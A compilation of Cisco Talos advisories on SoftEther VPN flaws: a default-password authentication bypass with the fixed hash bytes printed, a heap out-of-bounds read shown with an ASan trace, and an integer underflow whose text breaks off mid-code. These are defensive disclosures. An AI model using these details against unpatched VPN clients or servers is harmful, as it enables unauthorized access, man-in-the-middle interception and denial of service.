An authentication bypass vulnerability exists in the CiRpcAccepted() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. A specially crafted network packet can lead to unauthorized access. An attacker can send a network request to trigger this vulnerability.

**SUMMARY**

An authentication bypass vulnerability exists in the CiRpcAccepted() functionality of SoftEther VPN 4.41-9782-beta and 5.01.9674. A specially crafted network packet can lead to unauthorized access. An attacker can send a network request to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 4.41-9782-beta  
SoftEther VPN 5.01.9674

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

**CWE**

CWE-453 - Insecure Default Variable Initialization

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Within the SoftEtherVPN client there exists some interesting architectural decisions, first and foremost being the fact that the SoftEtherVPN client itself consists of an RPC client and an RPC server. While the process differs on Linux and Windows, there are some core common elements. The VPN client’s RPC server binds to a given TCP port within the range of 9931-9936, on all interfaces, and then the VPN client’s RPC client connects to that port to send the VPN client commands. For ease of reference, we will be referring to these components as the RPC client and RPC server, but just know that these are both contained within the client-side portion of SoftEtherVPN.

The internal RPC process in the SoftEtherVPN client ends up occurring on localhost by default. There is still an authentication mechanism in order to protect against other users on the same machine, and also because the VPN client RPC server can be configured to allow non-localhost connections. We observe the RPC server code for authentication below:

    // RPC acceptance code
    void CiRpcAccepted(CLIENT *c, SOCK *s)
    {
        UCHAR hashed_password[SHA1_SIZE];
        UINT rpc_mode;
        UINT retcode;
        RPC *rpc;
        // Validate arguments
        if (c == NULL || s == NULL)
        {
            return;
        }
    
        // Receive the RPC mode
        if (RecvAll(s, &rpc_mode, sizeof(UINT), false) == false) // [1]
        {
            return;
        }
    
        rpc_mode = Endian32(rpc_mode);
    
        if (rpc_mode == CLIENT_RPC_MODE_NOTIFY)
        {
            // [...]
        }
        else if (rpc_mode == CLIENT_RPC_MODE_SHORTCUT || rpc_mode == CLIENT_RPC_MODE_SHORTCUT_DISCONNECT)
        {
            // [...]
        }
    
        // Password reception
        if (RecvAll(s, hashed_password, SHA1_SIZE, false) == false) // [2]
        {
            return;
        }
    
        retcode = 0;
    
        // Password comparison
        if (Cmp(hashed_password, c->EncryptedPassword, SHA1_SIZE) != 0) // [3]
        {
            retcode = 1;
        }
    
        if (c->PasswordRemoteOnly && IsLocalHostIP(&s->RemoteIP))
        {
            // If in a mode that requires a password only remote,
            // the password sent from localhost is considered to be always correct
            retcode = 0;
        }
    
        Lock(c->lock);
        {
            if (c->Config.AllowRemoteConfig == false)  // Default false on linux.
            {
                // If the remote control is prohibited,
                // identify whether this connection is from remote
                if (IsLocalHostIP(&s->RemoteIP) == false)
                {
                    retcode = 2;
                }
            }
        }
        Unlock(c->lock);
    
    // #define CLIENT_RPC_MODE_MANAGEMENT          1
    

After our RPC client connects to 0.0.0.0:9931, we receive four bytes to indicate the message type \[1\]. Assuming this message is of type CLIENT_RPC_MODE_MANAGEMENT, we skip down to receiving 0x14 more bytes \[2\], which is subsequently compared with the RPC server’s configured password \[3\]. If we look inside of our default vpn_client.config, we see that the c->EncryptedPassword corresponds to the configuration’s EncryptedPassword:

    # Software Configuration File
    # ---------------------------
    #
    # You may edit this file when the VPN Server / Client / Bridge program is not running.
    #
    # In prior to edit this file manually by your text editor,
    # shutdown the VPN Server / Client / Bridge background service.
    # Otherwise, all changes will be lost.
    #
    declare root
    {
        bool DontSavePassword false
        byte EncryptedPassword +WzqGYrR3VYXrAhKPZLGEHcIwO8=
    

And if we decode the RPC server password:

    $ echo -en "+WzqGYrR3VYXrAhKPZLGEHcIwO8=" | base64 -d | hexdump -C
    00000000  f9 6c ea 19 8a d1 dd 56  17 ac 08 4a 3d 92 c6 10  |.l.....V...J=...|
    00000010  77 08 c0 ef                                       |w...|
    00000014
    

Curiously, by default, the RPC client is able to connect to the RPC server without any configuration, which raises the question of where this password comes from. A quick browse through the source code quickly reveals the CiInitConfiguration function:

    // Initialize the settings
    void CiInitConfiguration(CLIENT *c)
    {
        // [...] 
    
        if (CiLoadConfigurationFile(c) == false)
        {
            CLog(c, "LC_LOAD_CONFIG_3");
            // Do the initial setup because the configuration file does not exist
            // Clear the password
            Sha0(c->EncryptedPassword, "", 0);            // [4]
            // Initialize the client configuration
            // Disable remote management
            c->Config.AllowRemoteConfig = false;
            StrCpy(c->Config.KeepConnectHost, sizeof(c->Config.KeepConnectHost), CLIENT_DEFAULT_KEEPALIVE_HOST);
            c->Config.KeepConnectPort = CLIENT_DEFAULT_KEEPALIVE_PORT;
            c->Config.KeepConnectProtocol = CONNECTION_UDP;
            c->Config.KeepConnectInterval = CLIENT_DEFAULT_KEEPALIVE_INTERVAL;
            c->Config.UseKeepConnect = false;   // Don't use the connection maintenance function by default in the Client
            // Eraser
            c->Eraser = NewEraser(c->Logger, 0);
        }
        else
        {
            CLog(c, "LC_LOAD_CONFIG_2");
        }
    

At \[4\] we can clearly see that the c->EncryptedPassword comes from this Sha0 function, which is called without input parameters. Following the code-flow, we eventually get to MY_SHA0_hash:

    /* Convenience function */
    const UCHAR* MY_SHA0_hash(const void* data, int len, UCHAR* digest) {
        MY_SHA0_CTX ctx;
        MY_SHA0_init(&ctx);
        MY_SHA0_update(&ctx, data, len);
        memcpy(digest, MY_SHA0_final(&ctx), MY_SHA0_DIGEST_SIZE);
        return digest;
    }
    

But since this hashing is somehow able to function without input, we have to look inside MY_SHA0_final:

    const UCHAR* MY_SHA0_final(MY_SHA0_CTX* ctx) {
        UCHAR *p = ctx->buf;
        UINT64 cnt = ctx->count * 8;
        int i;
        MY_SHA0_update(ctx, (UCHAR*)"\x80", 1); // [5]
        while ((ctx->count & 63) != 56) {
            MY_SHA0_update(ctx, (UCHAR*)"\0", 1);
        }
        for (i = 0; i < 8; ++i) {
            UCHAR tmp = (UCHAR) (cnt >> ((7 - i) * 8));
            MY_SHA0_update(ctx, &tmp, 1);
        }
        for (i = 0; i < 5; i++) {
            UINT tmp = ctx->state[i];
            *p++ = tmp >> 24;
            *p++ = tmp >> 16;
            *p++ = tmp >> 8;
            *p++ = tmp >> 0;
        }
        return ctx->buf;
    }
    

As we can see above, a “\\x80” byte is added to the sha context \[5\], as well as a given amount of padding bytes after. Regardless of the exact implementation, it suffices to say that this resulting hash from the Sha0 function never changes and will always by default be “\\xf9\\x6c\\xea\\x19\\x8a\\xd1\\xdd\\x56\\x17\\xac\\x08\\x4a\\x3d\\x92\\xc6\\x10\\x77\\x08\\xc0\\xef”. Since it is not common for a client program to consist of an internal RPC client and RPC server, it would be less expected for users to change this default password. This could lead to other local users gaining access to the RPC server, or remote users, if it is configured for it. If access is gained, certificates can be installed to allow for man-in-the-middle attacks on VPN connections. VPN authentication settings can be dumped, potentially leading to further compromise of the VPN endpoint.

**VENDOR RESPONSE**

The vendor issued an advisory: https://www.softether.org/9-about/News/904-SEVPN202301

**TIMELINE**

2023-06-12 - Vendor Disclosure  
2023-06-30 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-27516: TALOS-2023-1754 || Cisco Talos Intelligence Group

A denial-of-service vulnerability exists in the vpnserver EnSafeHttpHeaderValueStr functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service.

**SUMMARY**

A denial-of-service vulnerability exists in the vpnserver EnSafeHttpHeaderValueStr functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 5.01.9674  
SoftEther VPN 5.02  
While 5.01.9674 is a development version, it is distributed at the time of writing by Ubuntu and other Debian-based distributions.

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-125 - Out-of-bounds Read

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

To various ends, SoftEther VPN server accepts and parses HTTP connections by default on all of its configured TCP ports. Out of the box this means TCP ports 443, 992, 1194 and 5555. Assuming that our incoming packet does not look like any of the other supported TCP protocols, we eventually get to the ServerAccept function:

    // Server accepts a connection from client
    bool ServerAccept(CONNECTION *c)
    {
        bool ret = false;
        UINT err;
        PACK *p;
        char username_real[MAX_SIZE];
        char method[MAX_SIZE]; // 512
        char hubname[MAX_SIZE];
        char username[MAX_SIZE];
        char groupname[MAX_SIZE];
        UCHAR session_key[SHA1_SIZE];
        UCHAR ticket[SHA1_SIZE];
    
        // [...]
    
        // Validate arguments
        if (c == NULL)
        {
            return false;
        }
    
        // [...]
    
        // Receive the signature
        Debug("Downloading Signature...\n");
        error_detail_2 = NULL;
        if (ServerDownloadSignature(c, &error_detail_2) == false){  // [1] 
            //[...]
            goto CLEANUP;
        }
    

Assorted initialization and an unruly amount of stack variables are skipped just so we can quickly see the first branching piece of code we hit at \[1\] in ServerDownloadSignature:

    // Download the signature
    bool ServerDownloadSignature(CONNECTION *c, char **error_detail_str)
    {
        HTTP_HEADER *h;
        UCHAR *data;
        UINT data_size;
        SOCK *s;
        UINT num = 0, max = 19;
        SERVER *server;
        char *vpn_http_target = HTTP_VPN_TARGET2;
        // Validate arguments
        if (c == NULL)
        {
            return false;
        }
    
        server = c->Cedar->Server;
    
        s = c->FirstSock;          // [2]
    
        while (true)
        {
            bool not_found_error = false;
    
            num++;
            if (num > max)
            {
                // Disconnect
                Disconnect(s);
                c->Err = ERR_CLIENT_IS_NOT_VPN;
    
                *error_detail_str = "HTTP_TOO_MANY_REQUEST";
                return false;
            }
            // Receive a header
            h = RecvHttpHeader(s);  // [3]
            if (h == NULL)
            {
    
        // [...]
    

The SOCK *s variable is our client’s socket \[2\], which we then pass into the RecvHttpHeader function at \[3\] to actually read bytes and process the data:

    // Receive an HTTP header
    HTTP_HEADER *RecvHttpHeader(SOCK *s)
    {
        TOKEN_LIST *token = NULL;
        char *str = NULL;
        HTTP_HEADER *header = NULL;
        // Validate arguments
        if (s == NULL)
        {
            return NULL;
        }
    
        // Get the first line
        str = RecvLine(s, HTTP_HEADER_LINE_MAX_SIZE); // [4]
        if (str == NULL)
        {
            return NULL;
        }
    
        // Split into tokens
        token = ParseToken(str, " "); 
    
        FreeSafe(PTR_TO_PTR(str));
    
        if (token->NumTokens < 3)
        {
            FreeToken(token);
            return NULL;
        }
    
        // Creating a header object
        header = NewHttpHeader(token->Token[0], token->Token[1], token->Token[2]);
        FreeToken(token);
    
        if (StrCmpi(header->Version, "HTTP/0.9") == 0)
        {
            // The header ends with this line
            return header;
        }
    
        // Get the subsequent lines
        while (true)   
        {
            str = RecvLine(s, HTTP_HEADER_LINE_MAX_SIZE);  // [5]
            Trim(str);
            if (IsEmptyStr(str))
            {
                // End of header
                FreeSafe(PTR_TO_PTR(str)); 
                break;
            }
    
            if (AddHttpValueStr(header, str) == false) // [6] 
            {
                FreeSafe(PTR_TO_PTR(str)); 
                FreeHttpHeader(header);
                header = NULL;
                break;
            }
    
            FreeSafe(PTR_TO_PTR(str));
        }
    
        return header;
    }
    

To start, at \[4\], RecvLine reads in at max 0x1000 bytes or until it reads a “\\r\\n”. This line is split into the basic HTTP headers, and, assuming that’s all well and good, we enter the loop at \[5\] to continue reading the rest of the data. Again reading until 0x1000 bytes or “\\r\\n”, we take each line of the HTTP header and pass it into the AddHttpValueStr function at \[6\]. A quick digression before we delve into AddHttpValueStr: All of the parsed data is added into the HTTP_HEADER struct, which is just three pointers for the Method, Target and Version, and then a LIST * object which holds all of the actual HTTP headers:

    // HTTP header
    struct HTTP_HEADER
    {
        char *Method;                   // Method
        char *Target;                   // Target
        char *Version;                  // Version
        LIST *ValueList;                // Value list
    };
    

Continuing into AddHttpValueStr:

    // Adds the HTTP value contained in the string to the HTTP header
    bool AddHttpValueStr(HTTP_HEADER* header, char *string)
    {
        HTTP_VALUE *value = NULL;
        UINT pos = 0;
        char *value_name = NULL;
        char *value_data = NULL;
    
        // Validate arguments
        if (header == NULL || IsEmptyStr(string))
        {
            return false;
        }
    
        // Sanitize string
        EnSafeHttpHeaderValueStr(string, ' '); // [7]
    
        // Get the position of the colon
        pos = SearchStr(string, ":", 0);  // [8]
        if (pos == INFINITE)
        {
            // The colon does not exist
            return false;
        }
    
        if ((pos + 1) >= StrLen(string))
        {
            // There is no data
            return false;
        }
    
        // Divide into the name and the data
        value_name = Malloc(pos + 1);
        Copy(value_name, string, pos);
        value_name[pos] = 0;
        value_data = &string[pos + 1]; 
    
        value = NewHttpValue(value_name, value_data); // [9] 
        if (value == NULL)
        {
            Free(value_name);
            return false;
        }
    
        Free(value_name);
    
        AddHttpValue(header, value); // [10] 
    
        return true;
    }
    

At \[7\], there is some escaping and processing done on our char *string parameter that was passed in. Soon after, the string is separated at the colon \[8\], allocations are made to contain copies of the split string \[9\] and we finally add a new entry to the HTTP_HEADER->ValueList at \[10\]. We need not go much further, so let us examine the EnSafeHttpHeaderValueStr function to see how the input HTTP header string gets processed:

    // Replace '\r' and '\n' with the specified character.
    // If the specified character is a space (unsafe), the original character is removed.
    void EnSafeHttpHeaderValueStr(char *str, char replace)
    {
        UINT length = 0;
        UINT index = 0;
    
        // Validate arguments
        if (str == NULL)
        {
            return;
        }
    
        length = StrLen(str);
        while (index < length)
        {
            if (str[index] == '\r' || str[index] == '\n')
            {
                if (replace == ' ')
                {
                    Move(&str[index], &str[index + 1], length - index); // [11]
                }
                else
                {
                    str[index] = replace;
                }
            }
            else if (str[index] == '\\')
            {
                if (str[index + 1] == 'r' || str[index + 1] == 'n') 
                {
                    if (replace == ' ')
                    {
                        Move(&str[index], &str[index + 2], length - index); // [12]
                        index--;   
                    }             
                    else
                    {
                        str[index] = str[index + 1] = replace;
                        index++;
                    }
                }
            }
            index++;
        }
    }
    

To sum up this function, each character is checked to see if there’s a “\\r”, “\\n”, “\\\\r” or “\\\\n”. If there is, it is replaced with the char replace, or the entire string is shifted backwards by one or two bytes. While the code at \[11\] is valid because the char *str parameter is null terminated, and as such can never read out of bounds, the line at \[12\] is a different story. Since our Move function copies from [index + 2] and the length is length - index, every copy this line makes will hit the null terminator and the byte immediately after. As such, any HTTP header passed into this function that contains a “\\\\r” or “\\\\n” will cause a one-byte out-of-bounds read to happen. And at least for the code path we have followed above, our input char *str is allocated on the heap, which means that with very careful heap manipulation, we can cause this single byte to be the first byte of an unmapped page or non-readable page in memory, resulting in a server crash and denial of service.

**Crash Information**

    SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /softether/SoftEtherVPN/src/Mayaqua/Encrypt.c:4725:20 in 
    =================================================================
    ==89041==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040001a58bb at pc 0x565370d9394f bp 0x7f2598180410 sp 0x7f259817fbe0
    READ of size 26 at 0x6040001a58bb thread T30
        #0 0x565370d9394e in __asan_memmove (/softether/asan_build/vpnserver+0xa094e) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c6e1099 in Move /softether/SoftEtherVPN/src/Mayaqua/Memory.c:3822:2
        #2 0x7f259c7e4218 in EnSafeHttpHeaderValueStr /softether/SoftEtherVPN/src/Mayaqua/Str.c:2082:6
        #3 0x7f259c689be1 in AddHttpValueStr /softether/SoftEtherVPN/src/Mayaqua/HTTP.c:929:2
        #4 0x7f259c68b890 in RecvHttpHeader /softether/SoftEtherVPN/src/Mayaqua/HTTP.c:1145:7
        #5 0x7f259d94168b in ServerDownloadSignature /softether/SoftEtherVPN/src/Cedar/Protocol.c:5791:7
        #6 0x7f259d91dc91 in ServerAccept /softether/SoftEtherVPN/src/Cedar/Protocol.c:1228:6
        #7 0x7f259d677def in ConnectionAccept /softether/SoftEtherVPN/src/Cedar/Connection.c:3077:6
        #8 0x7f259d760478 in TCPAcceptedThread /softether/SoftEtherVPN/src/Cedar/Listener.c:181:2
        #9 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #10 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #11 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
        #12 0x7f259c1269ff  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    
    0x6040001a58bb is located 0 bytes to the right of 43-byte region [0x6040001a5890,0x6040001a58bb)
    allocated by thread T30 here:
        #0 0x565370d941ce in malloc (/softether/asan_build/vpnserver+0xa11ce) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83b386 in UnixMemoryAlloc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2043:6
        #2 0x7f259c6dfb9e in InternalMalloc /softether/SoftEtherVPN/src/Mayaqua/Memory.c:3692:10
        #3 0x7f259c6df2da in MallocEx /softether/SoftEtherVPN/src/Mayaqua/Memory.c:3523:8
        #4 0x7f259c793df1 in RecvLine /softether/SoftEtherVPN/src/Mayaqua/Network.c:19506:11
        #5 0x7f259c68b8aa in RecvHttpHeader /softether/SoftEtherVPN/src/Mayaqua/HTTP.c:1136:9
        #6 0x7f259d94168b in ServerDownloadSignature /softether/SoftEtherVPN/src/Cedar/Protocol.c:5791:7
        #7 0x7f259d91dc91 in ServerAccept /softether/SoftEtherVPN/src/Cedar/Protocol.c:1228:6
        #8 0x7f259d677def in ConnectionAccept /softether/SoftEtherVPN/src/Cedar/Connection.c:3077:6
        #9 0x7f259d760478 in TCPAcceptedThread /softether/SoftEtherVPN/src/Cedar/Listener.c:181:2
        #10 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #11 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #12 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
    
    Thread T30 created by T27 here:
        #0 0x565370d7d64c in __interceptor_pthread_create (/softether/asan_build/vpnserver+0x8a64c) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83d677 in UnixInitThread /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1673:6
        #2 0x7f259c6ae087 in NewThreadInternal /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:1200:7
        #3 0x7f259c6ad525 in NewThreadNamed /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:997:10
        #4 0x7f259c770bcb in ConnectEx5 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14692:8
        #5 0x7f259c7279e7 in ConnectEx4 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14556:9
        #6 0x7f259c7279e7 in ConnectEx3 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14552:9
        #7 0x7f259c7279e7 in ConnectEx2 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14548:9
        #8 0x7f259c7279e7 in ConnectEx /softether/SoftEtherVPN/src/Mayaqua/Network.c:14544:9
        #9 0x7f259c7279e7 in GetMyPrivateIP /softether/SoftEtherVPN/src/Mayaqua/Network.c:4405:6
        #10 0x7f259c726e32 in RUDPIpQueryThread /softether/SoftEtherVPN/src/Mayaqua/Network.c:4345:8
        #11 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #12 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #13 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
    
    Thread T27 created by T25 here:
        #0 0x565370d7d64c in __interceptor_pthread_create (/softether/asan_build/vpnserver+0x8a64c) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83d677 in UnixInitThread /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1673:6
        #2 0x7f259c6ae087 in NewThreadInternal /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:1200:7
        #3 0x7f259c6ad525 in NewThreadNamed /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:997:10
        #4 0x7f259c72f950 in NewRUDP /softether/SoftEtherVPN/src/Mayaqua/Network.c:5351:22
        #5 0x7f259c71bdf2 in NewRUDPServer /softether/SoftEtherVPN/src/Mayaqua/Network.c:5178:6
        #6 0x7f259c71bdf2 in ListenRUDPEx /softether/SoftEtherVPN/src/Mayaqua/Network.c:2504:6
        #7 0x7f259d7632cb in ListenerTCPMainLoop /softether/SoftEtherVPN/src/Cedar/Listener.c:405:9
        #8 0x7f259d765924 in ListenerThread /softether/SoftEtherVPN/src/Cedar/Listener.c:563:3
        #9 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #10 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #11 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
    
    Thread T25 created by T0 here:
        #0 0x565370d7d64c in __interceptor_pthread_create (/softether/asan_build/vpnserver+0x8a64c) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83d677 in UnixInitThread /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1673:6
        #2 0x7f259c6ae087 in NewThreadInternal /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:1200:7
        #3 0x7f259c6ad525 in NewThreadNamed /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:997:10
        #4 0x7f259d768069 in NewListenerEx5 /softether/SoftEtherVPN/src/Cedar/Listener.c:821:6
        #5 0x7f259d76799e in NewListenerEx4 /softether/SoftEtherVPN/src/Cedar/Listener.c:772:9
        #6 0x7f259da20f4b in SiNewServerEx /softether/SoftEtherVPN/src/Cedar/Server.c:10934:10
        #7 0x7f259d9e8e51 in SiNewServer /softether/SoftEtherVPN/src/Cedar/Server.c:10795:9
        #8 0x7f259d9e8e51 in StStartServer /softether/SoftEtherVPN/src/Cedar/Server.c:6696:12
        #9 0x7f259c848901 in UnixExecService /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2560:3
        #10 0x7f259c849566 in UnixServiceMain /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2765:3
        #11 0x7f259c84917a in UnixService /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2679:5
        #12 0x7f259c029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/softether/asan_build/vpnserver+0xa094e) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a) in __asan_memmove
    Shadow bytes around the buggy address:
      0x0c088002cac0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00
      0x0c088002cad0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 02
      0x0c088002cae0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
      0x0c088002caf0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
      0x0c088002cb00: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
    =>0x0c088002cb10: fa fa 00 00 00 00 00[03]fa fa fd fd fd fd fd fd
      0x0c088002cb20: fa fa fd fd fd fd fd fd fa fa fa fa fa fa fa fa
      0x0c088002cb30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c088002cb40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c088002cb50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c088002cb60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==89041==ABORTING
    

**VENDOR RESPONSE**

Vendor pull request on Github: https://github.com/SoftEtherVPN/SoftEtherVPN/pull/1829

**TIMELINE**

2023-04-11 - Vendor Disclosure  
2023-04-22 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-23581: TALOS-2023-1741 || Cisco Talos Intelligence Group

An integer underflow vulnerability exists in the vpnserver OvsProcessData functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer underflow vulnerability exists in the vpnserver OvsProcessData functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 5.01.9674  
SoftEther VPN 5.02  
While 5.01.9674 is a development version, it is distributed at the time of writing by Ubuntu and other Debian-based distributions.

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Among the various VPN protocols that SoftEther can talk in, by default, OpenVPN code can be reached via any of the open TCP ports. Based on the start of the input buffer, we can either hit the OpenVPN code or the Wireguard code, or even the normal HTTPS server for management of the VPN configuration itself:

    bool ProtoHandleConnection(PROTO *proto, SOCK *sock, const char *protocol)
    {
        const PROTO_IMPL *impl;
        void *impl_data = NULL;
    
        UCHAR *buf;
        TCP_RAW_DATA *recv_raw_data;
        FIFO *send_fifo;
        INTERRUPT_MANAGER *im;
        SOCK_EVENT *se;
    
        if (proto == NULL || sock == NULL)
        {
            return false;
        }
    
        {
            const PROTO_CONTAINER *container = NULL;
            wchar_t *proto_name;
            LIST *options;
    
            if (protocol != NULL)
            {
                UINT i;
                for (i = 0; i < LIST_NUM(proto->Containers); ++i)
                {
                    const PROTO_CONTAINER *tmp = LIST_DATA(proto->Containers, i);
                    if (StrCmp(tmp->Name, protocol) == 0)
                    {
                        container = tmp;
                        break;
                    }
                }
            }
            else
            {
                UCHAR tmp[PROTO_CHECK_BUFFER_SIZE]; // 2 bytes
    
                if (Peek(sock, tmp, sizeof(tmp)) == 0)
                {
                    return false;
                }
    
                container = ProtoDetect(proto, PROTO_MODE_TCP, tmp, sizeof(tmp)); // [1] 
            }
    

Unless a protocol is explicitly passed to the ProtoHandleConnection function, we end up iterating over all the loaded proto->Containers and calling the container’s ProtoDetect() function at \[1\]:

    const PROTO_CONTAINER *ProtoDetect(const PROTO *proto, const PROTO_MODE mode, const UCHAR *data, const UINT size)
    {
        UINT i;
    
        if (proto == NULL || data == NULL || size == 0)
        {
            return NULL;
        }
    
        for (i = 0; i < LIST_NUM(proto->Containers); ++i)
        {
            const PROTO_CONTAINER *container = LIST_DATA(proto->Containers, i);
            const PROTO_IMPL *impl = container->Impl;
    
            if (ProtoEnabled(proto, container->Name) == false)
            {
                Debug("ProtoDetect(): skipping %s because it's disabled\n", container->Name);
                continue;
            }
    
            if (impl->IsPacketForMe != NULL && impl->IsPacketForMe(mode, data, size)) // [2]
            {
                Debug("ProtoDetect(): %s detected\n", container->Name);
                return container;
            }
        }
    
        Debug("ProtoDetect(): unrecognized protocol\n");
        return NULL;
    }
    

ProtoDetect() boils down to answering the question: Is this packet designated for this specific protocol? And so each container calls its Impl->IsPacketForMe at \[2\]. To understand what functions underpin the IsPacketForMe function pointer, let us quickly look to see where protocols actually get loaded:

    PROTO *ProtoNew(CEDAR *cedar)
    {
        PROTO *proto;
    
        if (cedar == NULL)
        {
            return NULL;
        }
    
        proto = Malloc(sizeof(PROTO));
        proto->Cedar = cedar;
        proto->Containers = NewList(ProtoContainerCompare);
        proto->Sessions = NewHashList(ProtoSessionHash, ProtoSessionCompare, 0, true);
    
        AddRef(cedar->ref);
    
        // WireGuard
        Add(proto->Containers, ProtoContainerNew(WgsGetProtoImpl()));   // [3]
        // OpenVPN
        Add(proto->Containers, ProtoContainerNew(OvsGetProtoImpl()));   // [4]
        // SSTP
        Add(proto->Containers, ProtoContainerNew(SstpGetProtoImpl()));  // [5]
    
        proto->UdpListener = NewUdpListener(ProtoHandleDatagrams, proto, &cedar->Server->ListenIP);
    
        return proto;
    }
    

Clearly written above, we can see that the only VPN protocols enabled by default in SoftEther are WireGuard \[3\], OpenVPN \[4\] and SSTP \[5\]. Since we only care about OpenVPN in this advisory, only the OvsGetProtoImpl function will follow:

    const PROTO_IMPL *OvsGetProtoImpl()
    {
        static const PROTO_IMPL impl =
        {
            OvsName,
            OvsOptions,
